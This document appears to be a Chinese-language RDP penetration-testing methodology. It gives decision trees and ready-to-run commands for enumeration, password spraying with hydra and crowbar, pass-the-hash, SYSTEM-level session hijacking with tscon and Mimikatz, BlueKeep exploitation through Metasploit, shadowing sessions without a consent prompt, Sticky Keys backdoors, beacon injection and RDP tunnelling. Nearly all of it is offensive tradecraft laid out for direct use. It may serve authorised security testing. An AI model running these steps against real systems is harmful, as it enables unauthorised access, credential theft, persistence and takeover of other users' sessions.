wgpsec RDP 渗透测试方法论 (3389)
深入参考
- RDP 枚举、会话劫持、Shadow 攻击、隧道、工具详细用法 -> 读 references/rdp-techniques.md
整体决策树
发现 3389 端口开放
├─ Phase 1: 服务发现
│ ├─ Nmap 脚本扫描 -> 获取加密方式 / NLA 状态 / NTLM 信息
│ ├─ 版本探测 -> 对照已知漏洞 (Phase 4)
│ └─ NLA 是否启用？
│ ├─ 未启用 -> 可截图 / 匿名探测
│ └─ 已启用 -> 需凭据才能交互
├─ Phase 2: 凭据攻击
│ ├─ 密码喷洒 (crowbar / hydra / nxc) -- 注意锁定风险
│ ├─ 已知凭据验证 (rdp_check / xfreerdp)
│ └─ Pass-the-Hash (xfreerdp /pth:)
├─ Phase 3: 会话劫持
│ ├─ 需要 SYSTEM 权限
│ ├─ query user -> 枚举活跃会话
│ ├─ tscon <ID> /dest:<SESSION> -> 劫持会话
│ └─ Mimikatz ts::remote -> 替代方案
├─ Phase 4: 已知漏洞
│ ├─ CVE-2019-0708 (BlueKeep) — Windows 7 / 2008 R2 pre-auth RCE
│ ├─ CVE-2012-0002 (MS12-020) — RDP DoS / 潜在 RCE
│ └─ NLA 绕过场景 -> 降级攻击
└─ Phase 5: 后渗透技巧
├─ RDP Shadow (远程控制其他用户会话)
├─ Sticky Keys / Utilman 后门
├─ RDP 进程注入 (高权限用户 RDP 时注入 beacon)
└─ RDP 虚拟通道隧道 (rdp2tcp)
Phase 1: 服务发现
1.1 Nmap 枚举
# 综合扫描: 加密方式 + DoS 漏洞 + NTLM 信息
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
1.2 安全层 / NLA 检查
# 安全层与加密信息
nmap --script rdp-enum-encryption -p 3389 <IP>
# NXC 快速认证检查 (同时报告 NLA 是否要求)
nxc rdp <IP> -u <user> -p <password>
# NLA 未启用时可截图 (无需认证)
nxc rdp <IP> --nla-screenshot
# 已认证截图
nxc rdp <IP> -u <user> -p <password> --screenshot
关键判断：
- NLA 未启用 -> 可进行未认证信息收集 / BlueKeep 利用更容易
- NTLM 信息泄露 -> 获取 Windows 版本、域名、主机名
Phase 2: 凭据攻击
2.1 密码喷洒
警告: RDP 爆破可能导致账户锁定，务必低速、少量尝试。
# crowbar — 专为 RDP 设计的爆破工具
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra — 通用爆破
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
2.2 已知凭据验证
# impacket rdp_check — 验证凭据有效性
rdp_check <domain>/<name>:<password>@<IP>
# RDP 连接
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
# Pass-the-Hash
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP>
2.3 凭据攻击决策树
凭据获取路径
├─ 有用户名列表
│ ├─ 密码喷洒 (低速，单密码多用户)
│ └─ 常见弱密码尝试: P@ssw0rd, <Company>123, <Season><Year>
├─ 有 NTLM 哈希
│ └─ xfreerdp /pth: 直接 Pass-the-Hash
├─ 有域凭据
│ └─ rdp_check 批量验证
└─ 凭据有效
├─ 进入 Phase 3 (会话劫持) — 如已有 SYSTEM 权限
└─ 进入 Phase 5 (后渗透)
Phase 3: 会话劫持
需要 SYSTEM 权限，可访问任何已打开的 RDP 会话而无需知道密码。
3.1 会话枚举与劫持
# 枚举当前活跃会话
query user
# 劫持指定会话 (会踢掉原用户)
tscon <ID> /dest:<SESSIONNAME>
3.2 Mimikatz 方式
# Mimikatz 会话操作
ts::sessions # 列出会话
ts::remote /id:2 # 连接到会话
3.3 会话劫持决策树
有 SYSTEM 权限
├─ query user 发现活跃 RDP 会话
│ ├─ 管理员会话 -> tscon 劫持 -> 获取管理员桌面
│ ├─ 普通用户会话 -> 检查其桌面 (记事本密码、其他 RDP 会话)
│ └─ Disconnected 会话 -> 同样可劫持
└─ 无活跃会话
└─ 等待用户登录 / 转向其他攻击
Phase 4: 已知漏洞
4.1 漏洞检测决策树
RDP 版本/系统已知
├─ Windows 7 / 2008 R2 (未打补丁)
│ └─ CVE-2019-0708 (BlueKeep) — pre-auth RCE
│ ├─ 检测: nmap --script rdp-vuln-ms12-020 -p 3389 <IP>
│ ├─ Metasploit: exploit/windows/rdp/cve_2019_0708_bluekeep_rce
│ └─ 前提: NLA 未启用时利用更可靠
├─ Windows XP / 2003 / Vista / 7 / 2008
│ └─ CVE-2012-0002 (MS12-020) — RDP DoS / 潜在 RCE
│ └─ 检测: nmap --script rdp-vuln-ms12-020 -p 3389 <IP>
└─ NLA 降级攻击
├─ 中间人场景下强制客户端降级到旧安全层
└─ 截获凭据 (Seth / rdp-sec-check)
Phase 5: 后渗透技巧
5.1 RDP Shadow (远程控制)
如果启用了远程桌面服务 Shadow 功能，可以查看或控制其他用户的活跃会话。
# 列出远程主机会话
qwinsta /server:<IP>
# Shadow 指定会话 (需同意时)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# 无需同意 (策略允许时)
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# 检查 Shadow 策略
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
5.2 Sticky Keys / Utilman 后门
# 替换 sethc.exe 或 utilman.exe 为 cmd.exe
# 在 RDP 登录界面触发快捷键即获得 SYSTEM cmd
# 搜索已被后门化的 RDP
# https://github.com/linuz/Sticky-Keys-Slayer
5.3 RDP 进程注入
当高权限用户通过 RDP 登录你已控制的主机时，可将 beacon 注入其 RDP 会话进程，冒充该用户身份。
5.4 RDP 虚拟通道隧道
RDP 支持虚拟通道，可被滥用进行数据隧道 / 端口转发。
# rdp2tcp: 通过 RDP 虚拟通道复用 TCP 转发
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
5.5 添加用户到 RDP 组
net localgroup "Remote Desktop Users" UserLoginName /add
自动化工具
| 工具 | 用途 |
|---|---|
| AutoRDPwn | PowerShell 后渗透框架，自动化 Shadow 攻击 |
| EvilRDP | 命令行控制鼠标/键盘、剪贴板、SOCKS 代理、无文件命令执行 |
| SharpRDP | 无图形界面 RDP 命令执行 |